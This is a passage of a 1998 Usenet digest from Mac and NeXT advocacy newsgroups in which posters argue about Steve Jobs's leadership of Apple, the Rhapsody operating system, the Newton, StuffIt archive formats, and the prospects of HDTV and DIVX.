Message-ID: <nasadowsk-2304981523500001@137.49.238.182>
References: <01bd6e3f$00eed8d0$04387880@test1> <kalivoda-2304981044320001@defiant.cssites.uga.edu>
I'd take a "wait and see" attitude toward HDTV - it's been a long promised
thing, and seriously, I haven't seen the level of customer interest in it
the DVD or DSS created - and that interest goes WAY down when you mention
the set cost (>$2000US). Most people aren't serious enough with TV to lay
down the kind of money HDTV people are talking about. Most people are
fine with the current NTSC system, and I really don't see that changing
anytime soon.
As for DIVX, I fear it NOT for what it will do to the "rental" market - if
fear it for what it will do to the SOFTWARE and MUSIC industry. DIVX is a
warm up to see how people accept the concept of "pay per view, but wait, I
OWN the damm disc, don't it?" If it flys, you can BET that CDs and
Software will follow.
In short, say goodbye to the idea that you actually own the CD or software
you payed through the nose for.
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 23 Apr 1998 19:40:14 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6jv68s.rmc.mbkennel@lyapunov.ucsd.edu>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net> <353E6B86.33C6@CONVEX.COM> <TheLidlessEyeTh-2204982030160001@digital-03-229.hou.neoworld.net>
On Wed, 22 Apr 1998 20:30:15 -0500, wrote:
:A thousand dollars is laptop "territory", and laptops are arguably more
:versatile - except,
:ironically with handwriting recognition!
Exactly! I would love a conventional laptop with decent handwriting
recognition---or better yet, a decent stylus based pointer instead of
the awful touch pads or point-nubs or whatever. Use the keyboard for typing,
but the stylus is fine for pointing.
A great 'window manager' (to use the X terminology) with well crafted
interface suited to the physiology of stylus manipulation.
Why is it different for a laptop than a desktop (where I don't want
a stylus)???
* a desktop setup usually has room for a real mouse.
* on a desktop with a big CRT, you sit farther away, making it more
awkward to move the hand to a screen with a stylus.
* On a laptop, however, you can put your face right up to the screen
without eyestrain. The laptop screen can be angled ''upward'' to make
it more natural to use a stylus, in analogy to a paper.
I want a ''real computer'' (meaning I can do honest work, which means
scientific manuscript editing and software development, and, less honest
work like games) for about $1500. It should also be very physically robust,
and of course work beautifully with the main desktop system. {At the
moment, that's a Hitachi laptop running Linux for me.}
On the small end, the Palm Pilot size and price is more useful---a diskless
very light miniature PDA, more on the line of automated index cards and a
rolodex than a real computer. (I think a $9 address book is good enough).
A $1000 semi-real-computer-semi-pda isn't the way to go.
So, how could Apple have made the Newton successful????
The answer that nobody considered:
Create a full DESKTOP COMPUTER running NewtonOS.
With honest to god real programs.
Once people adopt the NewtonDesktop as their ''regular computer'', then
they could find uses for a $1000 transportable Newton form factor computer.
In 1992 Apple should have transformed NewtonOS into the next generation
Apple operating system.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 23 Apr 1998 19:45:51 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6jv6jf.rmc.mbkennel@lyapunov.ucsd.edu>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <steve_bryan-2204980026010001@pub-24-a-139.dialup.umn.edu> <slrn6js1u3.61p.sal@panix3.panix.com> <6hnid5$mnk@nntp02.primenet.com>
On 23 Apr 1998 07:15:01 -0700, John Jensen <jjens@primenet.com> wrote:
:Just as Sun's success provides NO evidence that APPLE can make money in
:the server market. Therefore...
No Apple will not be able to succeed in the $100,000 plus server market
where Sun is very successful and profitable.
It should be able to do great in the $3K to $20K workstation and small
server side.
Still, the structure of Apple is really that of a workstation company.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Jeff.Richmond@uk.sun.comREMOVETHIS (Jeff Richmond - SUN UK - SSIR)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 23 Apr 1998 16:43:31 GMT
Organization: Sun Microsystems UK
Message-ID: <6hnr3j$rgj@flonk.uk.sun.com>
References: <rex-2204981646280001@192.168.0.3>
In article <rex-2204981646280001@192.168.0.3>, rex@smallandmighty.com (Eric King) writes:
>In article <6hk9r4$ga7$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
>Markowitz) wrote:
>
>:In <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> Rex Riley claimed:
>:> What does it buy them?
>:
>: A LOT of things...
>:
>:a) high end hardware design, something Apple currently doesn't have
>
> The sad thing is that SGI's *low-end* hardware design is so much nicer
>than anything Apple has out currently or in the works. 2gig/s sustained
>memory bandwidth, oi!
>
SGI's O2 line with it's Unified Memory Architecture is brilliant ... no more
pushing data around between subsystems. As you say, 2.1GB memory bandwidth, WOW!
And, it uses standard synchronous DRAM ... cheap to add memory. Need more texture memory? Just buy some more DRAM. UMA is an excellent way to reduce cost and
improve overall system throughput. OCTANE's crossbar switch is great stuff too ...
I'm not sure, but that technology may have come from the Cray purchase. God, I sound like an SGI salesman.
As for whether a merged Apple and SGI would make much sense ... hard to say, but
my gut feeling is not. A Yellow Box port to IRIX makes a lot of sense ... Apple
would have to charge for this on a per user/platform basis to get a revenue
stream, but it could be worth it. Licensing and co-operation on OpenGL would be
another big plus for Apple.
[snip]
Jeff Richmond
-standard disclaimer-
Date: Thu, 23 Apr 1998 15:55:56 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Message-ID: <joe.ragosta-2304981555560001@wil124.dol.net>
References: <see-below-2204982044230001@209.24.241.227> <B164DB39-6C834@206.165.43.25>
In article <B164DB39-6C834@206.165.43.25>, "Lawson English"
<english@primenet.com> wrote:
> <http://www.abcnews.com/sections/tech/chat_transcripts/gilamelio.html>
>
>
> Relevant quote:
>
> +++++
> Nick from microsoft.com at 3:35pm ET
> What do you think was the main motivation for Bill Gates buying into Apple?
>
> ?
> Gil Amelio at 3:38pm ET
> Microsoft was in violation of Apple's intellectual propert and patented
> material. And in order to settle the matter, he agreed to make an
> investment in the company. In addition to a financial investment, I wanted
> a commitment from Microsoft to develop Microsoft Office for Rhapsody. It
> was for this reason I had not announced a deal with Microsoft prior to my
> departure. When Steve took over, he caved on this point, and was able to
> make an announcement at MacWorld Boston.
> ++++++
>
> Blame the Steve for not getting MS Office for Rhapsody as part of the deal.
If you want to believe everything Amelio says. AND If you believe
Microsoft had any intention at all of ever doing Office for Rhapsody. It's
equally possible that they would have walked away from the table. No
investment, no Office 98, no patent payments.
You weren't there. You don't know the facts. But that doesn't stop you
from flaming.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Thu, 23 Apr 1998 14:14:30 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353F9316.8689E2A1@milestonerdl.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353b5c1c.0@news.together.net> <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> <6hnpt1$3s$1@newsfep3.sprintmail.com> <joe.ragosta-2304981336540001@wil133.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote:
> In article <6hnpt1$3s$1@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
> > In <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> taiQ wrote:
> > >
> > > These "MS guys" get quite tiring... don't probably even get paid by
> > > the MS PR machine.
> > Hmmm, that surely has never been said
> > about Joey Ragosta ;-)
> I hope not.
> I have never accepted money from anyone for my advocacy. You'll notice
> that I don't even have advertising on my web page.
I believe it was ment about you getting quite tiring.
If you actually had some facts, perhaps you wouldn't be so tiring Joe.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 23 Apr 1998 12:31:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B164E4F4-91181@206.165.43.25>
References: <B164DFD8-7DE47@206.165.43.25>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Lawson English <english@primenet.com> said:
>
> The REAL test will be WWDC figures for this year. WHo is going, I wonder.
Another note, a guy from xPlain (SP?), the publishers of MacTech, says that
MacTech subscriptions are WAY up this past year, way beyond what you'd
expect from the demise of _develop_ and the inclusion of NeXT developers.
Hardly consistent, these numbers. I guess that we can't claim any kind of
trend, as yet.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Subject: Re: Apple developer program
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <joe.ragosta-0904980642200001@elk33.dol.net> <6gitpj$csn$1@interport.net> <joe.ragosta-0904980134360001@wil68.dol.net>
In-Reply-To: <joe.ragosta-0904980134360001@wil68.dol.net>
From: jnelson@jnelson.com
Message-ID: <gEN%.411$ub.297766@news.internetMCI.com>
Date: Thu, 23 Apr 1998 20:37:32 GMT
NNTP-Posting-Date: Thu, 23 Apr 1998 16:37:32 EDT
On 04/08/98, Joe Ragosta wrote:
>Sure. They should encourage everyone.
>
>But how do you allocate limited resources? Apple has decided that
>spending the money on TV ads or magazine ads is a better place to put
>scarce resources than subsidizing hobbyists.
Apple Computer *started* as a bunch of hobbiests in a garage.
Ignoring them will be like cutting their own throats.
--
Dark Hacker | e-mail hacker@computation.com
Fortress Of Computation | Web http://www.computation.com/pub/hacker/
____________________________________________________________________
"Life would be so much easier if only we had the source code."
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Thu, 23 Apr 1998 15:21:12 -0500
Organization: Texas Instruments
Message-ID: <MPG.fa95eb06fa1e7f3989703@news.itg.ti.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353b5c1c.0@news.together.net> <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> <6hnpt1$3s$1@newsfep3.sprintmail.com> <joe.ragosta-2304981336540001@wil133.dol.net> <353F9316.8689E2A1@milestonerdl.com>
In article M Rassbach, mark@milestonerdl.com says...
>
>
> Joe Ragosta wrote:
>
> > In article <6hnpt1$3s$1@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
> > > In <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> taiQ wrote:
> > > >
> > > > These "MS guys" get quite tiring... don't probably even get paid by
> > > > the MS PR machine.
> > > Hmmm, that surely has never been said
> > > about Joey Ragosta ;-)
> > I hope not.
> > I have never accepted money from anyone for my advocacy. You'll notice
> > that I don't even have advertising on my web page.
>
> I believe it was ment about you getting quite tiring.
>
> If you actually had some facts, perhaps you wouldn't be so tiring Joe.
Joe is so repetitive and so insulting that it really is hard to deal
with. His constant usage of "Don't let the facts get in the way of your
FUD" or the more recent "but I understand that you don't know about..."
is the worst. He has to be the biggest pain in the world to deal with.
My tagline, in effect, is a tribute to Joe sorta.. His insanely one
sided advocacy spawned the idea of using it against him in a way too.
Joe knows how to hide behind debating tactics very well. He'll drop off
threads that show him to be wrong or he will fight over semantics for
weeks while the original topic is long lost. He screams "ad hominum
attack" all the time, while using it himself with words like PC herd,
Wintel fanboy, and so on.. He calls people clueless almost daily, but if
you dare say one tiny thing about his integrity he'll call you a liar so
fast your head will spin. If Joe treated his wife like this she'd leave
him in a second, I'm certain. There is no compromise with him. There
are only insults and ridiculously tired debating tactics to hide behind.
--
A world without the Mac is a step closer to utopia.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 23 Apr 1998 10:28:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B164C822-24B7D@206.165.43.25>
References: <*johnnyc*-2204982111120001@jchristie.halifaxcable.dal.ca>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
John Christie <*johnnyc*@or.psychology.dal.ca> said:
> In article <353E6B86.33C6@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM>
> wrote:
>
> > Apple didn't recognize it. For God's sake, you can play Quake on a
> > Newton.
>
> Some April fools jokes refuse to die.
Actually, the processor on the 2100 is probably fast enough to do a simple
doom-like game (not sure how it handles floating point, however) -certainly
at least a wireframe one like MazeWarz, but the screen refresh looks to be
a tad slow...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Thu, 23 Apr 1998 15:25:19 -0500
Organization: Texas Instruments
Message-ID: <MPG.fa95fae282ecf7b989704@news.itg.ti.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353b5c1c.0@news.together.net> <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> <6hnpt1$3s$1@newsfep3.sprintmail.com> <joe.ragosta-2304981336540001@wil133.dol.net> <353F9316.8689E2A1@milestonerdl.com> <MPG.fa95eb06fa1e7f3989703@news.itg.ti.com>
Also, I wanted to add that his big defense for advocating Macs is that he
equates the Mac with a small child getting beat up in school. First of
all, Macs aren't human.. They don't feel sad when they are picked on.
They don't worry about their own survival. That argument was the
flimsiest thing I've ever seen. Second, Steve Jobs and Apple are NOT
poor little beaten up kids either. Apple can, and is, a ruthless
company.. It's not a warm-fuzzy love fest like I've seen people claim it
to be.
--
A world without the Mac is a step closer to utopia.
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: Thu, 23 Apr 1998 13:51:43 -0700
Organization: University of British Columbia
Message-ID: <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <joe.ragosta-2304981334240001@wil133.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> In article <6hnou5$spq$3@newsfep3.sprintmail.com>, macghod@concentric.net
> wrote:
> > I would suggest if RHapsody is $500 or more a good many people will not
> > buy it. Of course hopefully Rhapsody will only cost about $200
>
> But if Sonata offers all of Rhapsody except the CLI and BSD support, who
> cares?
The teeming hordes in edu, scitech, and small-d developer circles. :^)
Okay, the numbers aren't huge, but this is the central core of Apple's
core market.
Publishing, too, has its uses for a CLI unix (SGML, TeX, Lout, psutils,
sed, uniq, &c.) -- and would be very pleased to have it available right
alongside the Blue and Yellow Boxes at a competitive workstation-OS
price.
But who knows? Maybe Apple is thinking, "What we really need now is a
greater number of yet smaller niches..."
--
Bruce Bennett
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 23 Apr 1998 20:45:00 GMT
Organization: Digital Fix Development
Message-ID: <6ho98c$3ac$1@news.digifix.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <353C31FB.926B5243@milestonerdl.com> <6hiuf2$36m$1@news.digifix.com> <6hna1p$g3k$1@news.idiom.com> <joe.ragosta-2304980856170001@wil106.dol.net>
In-Reply-To: <joe.ragosta-2304980856170001@wil106.dol.net>
On 04/23/98, Joe Ragosta wrote:
<snip>
>There's another alternative--push people to drop .sit formats.
>
Thats unrealistic for many reasons, including volumes and
volumes of archived files.
>Apple is already switching their web site from .hqx to .bin formats
to
>reduce file sizes and download times. If you can give people a
sufficient
>reason (and, of course, the right tools), many will switch.
>
Moving from .hqx to .bin is just common-sense...
>Why not a campaign on all the Mac web sites supporting some open
>compression/file transfer format which is supported by Scott's
program?
>
Because it doesn't solve the problem.
And because without writing some Mac software that does the
encoding that I've suggested, there is no Mac software to use..
Web sites aren't the problem.. legacy files are..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 23 Apr 1998 20:46:30 GMT
Organization: Digital Fix Development
Message-ID: <6ho9b6$3f3$1@news.digifix.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <forrestDELETE-THIS!-2004982259110001@term1-10.vta.west.net> <6hm4ct$drl$1@news.seicom.net> <slrn6jv8rr.rmc.mbkennel@lyapunov.ucsd.edu>
In-Reply-To: <slrn6jv8rr.rmc.mbkennel@lyapunov.ucsd.edu>
On 04/23/98, Matt Kennel wrote:
>On 23 Apr 1998 01:09:49 GMT, Frank M. Siegert
<frank@this.NO_SPAM.net> wrote:
>:In <forrestDELETE-THIS!-2004982259110001@term1-10.vta.west.net>
Forrest
>:Cameranesi wrote:
>:> Scott, could you just do a clean-room .sit decompression engine,
or would
>:> that we way over your head? (I wouldn't know, I'm not a
programmer, I just
>:> hang around a lot of them).
>:
>:Yeah... and after you put in a lot of effort watch them change the
file
>:format in their next release. You cannot win by running behind a
proprietary
>:file format, you can only ignore it.
>
>True.
>
>The only real solution, of course, is to write an OpenUp.app which is
so
>good, and works on both Rhapsody and MacOS that people voluntarily
convert
>their archives.
>
It would be a complete re-write..
OpenUp relies on the BSD/Unix underpinnings to do its work.
It uses freely available Unix apps to do the
decompressing/compressing..
>To make sure this is easy, OpenUp.app should have some facility to
call
>some user's copy of StuffIt programmatically to UnStuffIt and then
repack
>the files as OpenUp compatible archives.
Which means moving back to developing on the Mac.. ugh..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Wed, 22 Apr 1998 20:44:23 -0700
Message-ID: <see-below-2204982044230001@209.24.241.227>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <353ea292.0@news.depaul.edu>
In article <353ea292.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy jjens@primenet.com wrote:
> > Looking over Henry Norr's review of the shareholder meeting*, I see:
>
> > "Asked about Rhapsody's place in Apple's revised operating-system
strategy, he
> > [Steve] quipped "Buy a ticket to the WWDC."
>
> > But in another place:
>
> > "Jobs said Apple officials were spending a lot of time with corporate
> > customers, but he made clear that the company has no near-term plans for a
> > major push into the enterprise market."
>
> > The two statements don't really seem to jibe ...
>
> How do you figure? There's no conflict.
>
> The first statement is Jobs again being coy about Rhapsody, and
> building anticipation for the WWDC announcements. What would
> you expect him to do, let the cat out of the bag and blow all
> the prior setup?
>
> The second statement just says that Apple is talking to corporate
> customers, but isn't getting ready for some 'major push' into
> the enterprise. A 'major push' would probably entail lots of
> advertising, TV commercials, etc. aimed specifically at corporate
> customers.
>
> Apple probably shouldn't try that with CR1. There's enough pent
> up demand in Apple's core markets to give Rhapsody a good start.
> Based on those customers' feedback, Apple can put out a couple
> of point releases, if necessary. Then, they can run a big
> marketing push for the harder corporate sales. In the meantime,
> they can continue the face-to-face sales calls, as well as
> 'minor push' marketing efforts.
>
> Corporations are going to be hesitant to go with Rhapsody at
> first. If a company has a bad first experience with it, they may
> banish Apple forever. Apple can't really afford that, so it'd
> be worthwhile to wait a bit before the big push.
>
> (Also, if they wait, they can use good trade-rag reviews in
> the marketing materials. Wouldn't hurt.)
But not least, any "major push" will be futile if there aren't any
applications to speak of. I know there's a small cadre of OpenStep
developers with good stuff to offer, but I doubt that will be nearly
enough to sway very many customers. Right now Apple doesn't need to sell
it to end users so much as they need to sell it to developers.
.....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
.....................................................
From: telam@iquest.net (Tom Elam)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Thu, 23 Apr 1998 20:26:28 GMT
Organization: What? Here? No way!
Message-ID: <353fa39d.26354803@news.newsguy.com>
References: <6hno82$spq$1@newsfep3.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On 23 Apr 1998 15:54:42 GMT, macghod@concentric.net wrote:
>Wooo hooo! My first posting under Openstep! I would like to thank all those
>who helped me get OPENSTEP PPP working. You know who you are :)
Congratulations! It took all of 5 minutes for me to get Win 95 PPP set up,
connected to my ISP and make my first post. (:
---------------------------------------------
Tom Elam
The Family Home Page is at:
http://members.iquest.net/~telam/homepage.html
The universe is not only stranger than we imagine,
it's stranger than we CAN imagine
Isaac Asimov
From: Jeff <me@home.sleeping>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Thu, 23 Apr 1998 16:23:15 -0500
Organization: a real BIG one
Message-ID: <353FB143.48DA@home.sleeping>
References: <01bd6e3f$00eed8d0$04387880@test1> <kalivoda-2304981044320001@defiant.cssites.uga.edu> <nasadowsk-2304981523500001@137.49.238.182>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Philip Nasadowski wrote:
>
> I'd take a "wait and see" attitude toward HDTV - it's been a
> long promised thing, and seriously, I haven't seen the level
> of customer interest in it the DVD or DSS created - and that
> interest goes WAY down when you mention the set cost (>$2000US).
> Most people aren't serious enough with TV to lay down the kind
> of money HDTV people are talking about. Most people are fine
> with the current NTSC system, and I really don't see that
> changing anytime soon.
>
...
It's real and it's coming soon to a home near you!
NTSC, in about 2004, will be as extinct as the DODO bird!
So says the FCC!!!!
It may not be here when the FCC says, but nothing will stop it.
And the set costs will come WAY down when competition starts to flood
the market.
Once you've watched HDTV --- ordinary tv is awful! Kinda like
using a 1280x1024 graphics board with a .51 dot pitch monitor!
We are part of a demo system going coast-to-coast, stopping at most
large major cities. Check it out, if you can.
-- Jeff (employed by largest HDTV transmitter manufacturer)
From: vilhels@rockvax.rockefeller.edu (Siggi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Thu, 23 Apr 1998 16:29:48 -0400
Organization: http://extra.newsguy.com
Message-ID: <vilhels-2304981629480001@masurer-pc.rockefeller.edu>
References: <01bd6e3f$00eed8d0$04387880@test1> <kalivoda-2304981044320001@defiant.cssites.uga.edu> <nasadowsk-2304981523500001@137.49.238.182> <joe.ragosta-2304981602190001@wil124.dol.net>
K$YUh]<~X~rq_qjZkxzqKp~jbX;t%hGlnaYz;RdU{$o-8jR[WWh-f4G;=
In article <joe.ragosta-2304981602190001@wil124.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> Actually, it's too late. In most cases, you already _don't_ own the
> software you paid for. You own a license to use it.
Well, I believe the same goes for DVDs. You own a license to "use"/watch
the content. You can not copy or distribute it. The DIVX method for
licensing would be the same as paying a fee each time you launched your
app.
Siggi
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Am I doing something wrong??
Followup-To: comp.sys.next.programmer
Date: 23 Apr 1998 21:34:50 GMT
Message-ID: <6hoc5q$86f$1@newsfep2.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NOTE: FOLLOWUPS TO COMP.SYS.NEXT.PROGRAMMER
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Wed, 22 Apr 1998 20:47:25 -0700
Message-ID: <see-below-2204982047250001@209.24.241.227>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <slrn6jt7hm.oce.mbkennel@lyapunov.ucsd.edu>
In article <slrn6jt7hm.oce.mbkennel@lyapunov.ucsd.edu>, mbkennel <replace
this with '@'> yahoo.com wrote:
> On Tue, 21 Apr 1998 15:14:07 -0400, Sam Kass <samkass@samkass.com> wrote:
> :I think its premature to comment on whether Jobs will turn out to have
> :been a good CEO, as none of his plans have come to fruitition yet.
>
> Tevanian as head of software, and Rubenstein as head of hardware.
>
> Online store, and "store within a store."
>
> And re-hiring chiat/day.
True, but you can't really count these as end goals in themselves. We
don't really know yet how much the new sales channels or marketing will
help sales in the long run, nor how much better Apple's hardware and
software will be as a result of Next employees taking over. There are
suggestions that all these things are having a positive impact, but I
agree that it's too soon for any kind of verdict as to the eventual
success of these moves.
.....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
.....................................................
From: Matthew Dowd <mdowd@ingress.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Thu, 23 Apr 1998 18:02:31 -0700
Organization: Altopia Corp. - Usenet Access - http://www.altopia.com
Message-ID: <353FE4A6.2124@ingress.com>
References: <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <steve_bryan-2204980026010001@pub-24-a-139.dialup.umn.edu> <6hl4gp$78i$1@new-news.cc.brandeis.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Nathan G. Raymond wrote:
>
> In article <steve_bryan-2204980026010001@pub-24-a-139.dialup.umn.edu> steve_bryan@hotmail.com (Steve Bryan) writes:
> [snip]
> >However, I think they were right to narrow the focus
> >of Apple but don't quite understand why it was necessary to spin Newton
> >back in only to kill it. Whatever was to be gained by picking over the
> >corpse would seem to be dissipated by the well-earned ill will.
>
> The ill will has NOT come from all sides - its comes from the relatively
> small number of Newton users and developers. I own a Newton and was
> planning on developing for it, yet after talking to non-Newton users I get
> a different picture. Apple never completely shrugged off the bad image
> they generated with Newton OS 1.x and its cursive-only dictionary lookup
> handwriting recognition that was the laughing stock of mainstream society,
> derided in everything from Gary Trudeau's Doonsbury comics to the
> Simpsons. Sure, when I showed these same people Newton OS 2.0 they were
> amazed, but they would never have given it a serious look and were
> completely writing it off. The only way to get rid of that established
> malaise, unfortunately, is to nix Newton - I don't see any other way Apple
> could effectively change the minds of all those people who'd had bad
> experiences with Newton OS 1.x and only heard a bad rap.
Its called marketing. Thats why sales guys get paid more than
programmers - they sell stuff. Apple never tried to market the improved
Newton.
>
> --
> Nathan Raymond
> xray@cs.brandeis.edu
> raymond@binah.cc.brandeis.edu
> http://www.cs.brandeis.edu/~xray
--
So the Buddah goes up to a hotdog
stand and says, "make me one with everything".
From: copus@uwplatt.edu (Jerry A. Copus)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: Thu, 23 Apr 1998 16:45:58 -0500
Organization: University of Wisconsin - Platteville
Message-ID: <copus-2304981645580001@137.104.132.51>
